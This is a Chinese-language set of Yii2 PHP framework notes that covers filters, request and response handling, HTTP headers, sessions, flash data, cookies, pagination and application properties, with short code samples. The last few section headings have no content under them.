// 在布局调用 yii\web\View::endBody() 时触发
yii\web\View::EVENT_END_BODY:

过滤器(中间件)

过滤器是控制器动作执行之前或之后执行的对象。例如访问控制过滤器可在动作执行之前来控制特殊终端用户是否有权限执行动作, 内容压缩过滤器可在动作执行之后发给终端用户之前压缩响应内容。

继承 yii\base\ActionFilter 类并覆盖 yii\base\ActionFilter::beforeAction() 和/或 yii\base\ActionFilter::afterAction() 方法来创建动作的过滤器,前者在动作执行之前执行,后者在动作执行之后执行。 yii\base\ActionFilter::beforeAction() 返回值决定动作是否应该执行, 如果为 false,之后的过滤器和动作不会继续执行。

核心过滤器

  • yii\filters\AccessControl
    • AccessControl提供基于yii\filters\AccessControl::rules规则的访问控制
  • yii\filters\auth\HttpBasicAuth
    • 认证方法过滤器通过HTTP Basic Auth或OAuth 2 来认证一个用户, 认证方法过滤器类在 yii\filters\auth 命名空间下
  • yii\filters\ContentNegotiator
    • ContentNegotiator支持响应内容格式处理和语言处理
  • yii\filters\HttpCache
    • HttpCache利用Last-Modified 和 Etag HTTP头实现客户端缓存
  • yii\filters\PageCache
    • PageCache实现服务器端整个页面的缓存
  • yii\filters\RateLimiter
    • RateLimiter 根据 漏桶算法 来实现速率限制。 主要用在实现RESTful APIs, 更多关于该过滤器详情请参阅 Rate Limiting 一节
  • yii\filters\VerbFilter
    • VerbFilter检查请求动作的HTTP请求方式是否允许执行, 如果不允许,会抛出HTTP 405异常
  • yii\filters\Cors
    • 跨域资源共享 CORS 机制允许一个网页的许多资源(例如字体、JavaScript等) 这些资源可以通过其他域名访问获取

请求

请求基础用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$request = Yii::$app->request;
// 等价于: $get = $_GET;
$get = $request->get();
// 等价于: $id = isset($_GET['id']) ? $_GET['id'] : null;
$id = $request->get('id');
// 等价于: $id = isset($_GET['id']) ? $_GET['id'] : 1;
$id = $request->get('id', 1);
// 等价于: $post = $_POST;
$post = $request->post();
// 等价于: $name = isset($_POST['name']) ? $_POST['name'] : null;
$name = $request->post('name');
// 等价于: $name = isset($_POST['name']) ? $_POST['name'] : '';
$name = $request->post('name', '');
// 返回所有参数
$params = $request->bodyParams;
// 返回参数 "id"
$param = $request->getBodyParam('id');
/* 该请求是一个 AJAX 请求 */
if ($request->isAjax) {
}
/* 请求方法是 GET */
if ($request->isGet) {
}
/* 请求方法是 POST */
if ($request->isPost) {
}
/* 请求方法是 PUT */
if ($request->isPut) {
}

请求 URLs

  • yii\web\Request::url
    • 返回 /admin/index.php/product?id=100, 此URL不包括host info部分。
  • yii\web\Request::absoluteUrl
  • yii\web\Request::hostInfo
  • yii\web\Request::pathInfo
    • 返回 /product, 这个是入口脚本之后,问号之前(查询字符串)的部分。
  • yii\web\Request::queryString
    • 返回 id=100,问号之后的部分。
  • yii\web\Request::baseUrl
    • 返回 /admin, host info之后, 入口脚本之前的部分。
  • yii\web\Request::scriptUrl
    • 返回 /admin/index.php, 没有path info和查询字符串部分。
  • yii\web\Request::serverName
    • 返回 example.com, URL中的host name。
  • yii\web\Request::serverPort
    • 返回 80, 这是web服务中使用的端口。

HTTP 头

可以通过 yii\web\Request::headers 属性返回的 yii\web\HeaderCollection 获取HTTP头信息

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// $headers 是一个 yii\web\HeaderCollection 对象
$headers = Yii::$app->request->headers;
// 返回 Accept header 值
$accept = $headers->get('Accept');
/* 这是一个 User-Agent 头 */
if ($headers->has('User-Agent')) {
}

客户端信息

可以通过 yii\web\Request::userHostyii\web\Request::userIP 分别获取 host-name 和客户机的 IP 地址

1
2
3
4
<?php
$userHost = Yii::$app->request->userHost;
$userIP = Yii::$app->request->userIP;

响应

状态码

构建响应时,最先应做的是标识请求是否成功处理的状态,可通过设置 yii\web\Response::statusCode 属性,该属性使用一个有效的 HTTP 状态码

1
Yii::$app->response->statusCode = 200;

当错误处理器 捕获到一个异常,会从异常中提取状态码并赋值到响应, 对于上述的 yii\web\NotFoundHttpException 对应HTTP 404状态码, 以下为Yii预定义的HTTP异常

1
throw new \yii\web\NotFoundHttpException;

以下为Yii预定义的HTTP异常:

  • yii\web\BadRequestHttpException
    • status code 400.
  • yii\web\ConflictHttpException
    • status code 409.
  • yii\web\ForbiddenHttpException
    • status code 403.
  • yii\web\GoneHttpException
    • status code 410.
  • yii\web\MethodNotAllowedHttpException
    • status code 405.
  • yii\web\NotAcceptableHttpException
    • status code 406.
  • yii\web\NotFoundHttpException
    • status code 404.
  • yii\web\ServerErrorHttpException
    • status code 500.
  • yii\web\TooManyRequestsHttpException
    • status code 429.
  • yii\web\UnauthorizedHttpException
    • status code 401.
  • yii\web\UnsupportedMediaTypeHttpException
    • status code 415.

如果想抛出的异常不在如上列表中,可创建一个yii\web\HttpException异常, 带上状态码抛出,如下:

1
throw new \yii\web\HttpException(402);

HTTP 头部

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$headers = Yii::$app->response->headers;
// 增加一个 Pragma 头,已存在的Pragma 头不会被覆盖。
$headers->add('Pragma', 'no-cache');
// 设置一个Pragma 头. 任何已存在的Pragma 头都会被丢弃
$headers->set('Pragma', 'no-cache');
// 删除Pragma 头并返回删除的Pragma 头的值到数组
$values = $headers->remove('Pragma');

响应主体

如果在发送给终端用户之前需要格式化,应设置 yii\web\Response::format 和 yii\web\Response::data 属性,yii\web\Response::format 属性指定 yii\web\Response::data 中数据格式化后的样式,例如:

1
2
3
4
5
<?php
$response = Yii::$app->response;
$response->format = \yii\web\Response::FORMAT_JSON;
$response->data = ['message' => 'hello world'];

Yii支持以下可直接使用的格式,每个实现了 yii\web\ResponseFormatterInterface 类, 可自定义这些格式器或通过配置 yii\web\Response::formatters 属性来增加格式器。

  • yii\web\Response::FORMAT_HTML
  • yii\web\Response::FORMAT_XML
  • yii\web\Response::FORMAT_JSON
  • yii\web\Response::FORMAT_JSONP

正规格式返回 Yii 的 HTTP 响应

1
2
3
4
5
6
7
8
9
10
<?php
return \Yii::createObject([
'class' => 'yii\web\Response',
'format' => \yii\web\Response::FORMAT_JSON,
'data' => [
'message' => 'hello world',
'code' => 100,
],
]);

浏览器跳转

1
2
3
4
5
6
7
8
<?php
public function actionOld()
{
return $this->redirect('http://example.com/new', 301);
\Yii::$app->response->redirect('http://example.com/new', 301)->send();
}

发送文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
public function actionDownload()
{
return \Yii::$app->response->sendFile('path/to/file.txt');
\Yii::$app->response->sendFile('path/to/file.txt')->send();
}
// 发送一个已存在的文件到客户端
yii\web\Response::sendFile()
// 发送一个文本字符串作为文件到客户端
yii\web\Response::sendContentAsFile()
// 发送一个已存在的文件流作为文件到客户端
yii\web\Response::sendStreamAsFile()

Session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
$session = Yii::$app->session;
// 检查session是否开启
if ($session->isActive) {
}
// 开启session
$session->open();
// 关闭session
$session->close();
// 销毁session中所有已注册的数据
$session->destroy();
// 获取session中的变量值,以下用法是相同的:
$language = $session->get('language');
$language = $session['language'];
$language = isset($_SESSION['language']) ? $_SESSION['language'] : null;
// 设置一个session变量,以下用法是相同的:
$session->set('language', 'en-US');
$session['language'] = 'en-US';
$_SESSION['language'] = 'en-US';
// 删除一个session变量,以下用法是相同的:
$session->remove('language');
unset($session['language']);
unset($_SESSION['language']);
// 检查session变量是否已存在,以下用法是相同的:
if ($session->has('language')) ...
if (isset($session['language'])) ...
if (isset($_SESSION['language'])) ...
// 遍历所有session变量,以下用法是相同的:
foreach ($session as $name => $value) ...
foreach ($_SESSION as $name => $value) ...
// 直接使用$_SESSION (确保Yii::$app->session->open() 已经调用)
$_SESSION['captcha']['number'] = 5;
$_SESSION['captcha']['lifetime'] = 3600;
// 先获取session数据到一个数组,修改数组的值,然后保存数组到session中
$captcha = $session['captcha'];
$captcha['number'] = 5;
$captcha['lifetime'] = 3600;
$session['captcha'] = $captcha;
// 使用ArrayObject 数组对象代替数组
$session['captcha'] = new \ArrayObject;
...
$session['captcha']['number'] = 5;
$session['captcha']['lifetime'] = 3600;
// 使用带通用前缀的键来存储数组
$session['captcha.number'] = 5;
$session['captcha.lifetime'] = 3600;

自定义 Session 存储

Yii提供以下session类实现不同的session存储方式:

  • yii\web\DbSession
    • 存储session数据在数据表中
  • yii\web\CacheSession
    • 存储session数据到缓存中,缓存和配置中的缓存组件相关
  • yii\redis\Session
    • 存储session数据到以redis 作为存储媒介中
  • yii\mongodb\Session
    • 存储session数据到MongoDB

Flash 数据

Flash数据是一种特别的session数据,它一旦在某个请求中设置后, 只会在下次请求中有效,然后该数据就会自动被删除。 常用于实现只需显示给终端用户一次的信息, 如用户提交一个表单后显示确认信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$session = Yii::$app->session;
// 请求 #1
// 设置一个名为"postDeleted" flash 信息
$session->setFlash('postDeleted', 'You have successfully deleted your post.');
// 请求 #2
// 显示名为"postDeleted" flash 信息
echo $session->getFlash('postDeleted');
// 请求 #3
// $result 为 false,因为flash信息已被自动删除
$result = $session->hasFlash('postDeleted');
// 请求 #4
// 在名称为"alerts"的flash信息增加数据
$session->addFlash('alerts', 'You have successfully deleted your post.');
$session->addFlash('alerts', 'You have successfully added a new friend.');
$session->addFlash('alerts', 'You are promoted.');
// 请求 #5
// $alerts 为名为'alerts'的flash信息,为数组格式
$alerts = $session->getFlash('alerts');

Yii使用 yii\web\Cookie对象来代表每个cookie,yii\web\Request 和 yii\web\Response 通过名为’cookies’的属性维护一个cookie集合, 前者的cookie 集合代表请求提交的cookies, 后者的cookie集合表示发送给用户的cookies。

读取 Cookies

当前请求的cookie信息可通过如下代码获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// 从 "request"组件中获取cookie集合(yii\web\CookieCollection)
$cookies = Yii::$app->request->cookies;
// 获取名为 "language" cookie 的值,如果不存在,返回默认值"en"
$language = $cookies->getValue('language', 'en');
// 另一种方式获取名为 "language" cookie 的值
if (($cookie = $cookies->get('language')) !== null) {
$language = $cookie->value;
}
// 可将 $cookies当作数组使用
if (isset($cookies['language'])) {
$language = $cookies['language']->value;
}
// 判断是否存在名为"language" 的 cookie
if ($cookies->has('language')) ...
if (isset($cookies['language'])) ...

发送 Cookies

可使用如下代码发送 cookie 到终端用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 从"response"组件中获取cookie 集合(yii\web\CookieCollection)
$cookies = Yii::$app->response->cookies;
// 在要发送的响应中添加一个新的cookie
$cookies->add(new \yii\web\Cookie([
'name' => 'language',
'value' => 'zh-CN',
]));
// 删除一个cookie
$cookies->remove('language');
// 等同于以下删除代码
unset($cookies['language']);

分页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
use yii\data\Pagination;
public function actionCountry()
{
$query = Country::find();
$pagination = new Pagination([
'defaultPageSize' => 5,
'totalCount' => $query->count(),
]);
$countries = $query->orderBy('name')
->offset($pagination->offset)
->limit($pagination->limit)
->all();
return $this->render('country', compact('countries', 'pagination'));
}

应用主体和应用组件

应用属性

必要属性

  • id:用来区分其他应用的唯一标识ID。
  • basePath :指定该应用的根目录。

重要属性

  • aliases:该属性允许你用一个数组定义多个别名。 数组的 key 为别名名称,值为对应的路径。
  • bootstrap :这个属性很实用,它允许你用数组指定启动阶段 yii\base\Application::bootstrap() 需要运行的组件。
  • catchAll:该属性仅网页应用支持。 它指定一个要处理所有用户请求的控制器方法。
  • components:允许你注册多个在其他地方使用的应用组件。
  • controllerMap:该属性允许你指定一个控制器 ID 到任意控制器类。
  • controllerNamespace:该属性指定控制器类默认的命名空间,默认为 app\controllers。
  • language:该属性指定应用展示给终端用户的语言, 默认为 en 标识英文
  • modules :该属性指定应用所包含的模块。

前端资源

资源

资源包

定义资源包

表单

ActiveForm::begin(),ActiveForm::end() 分别用来渲染表单的开始和关闭标签

查询构建器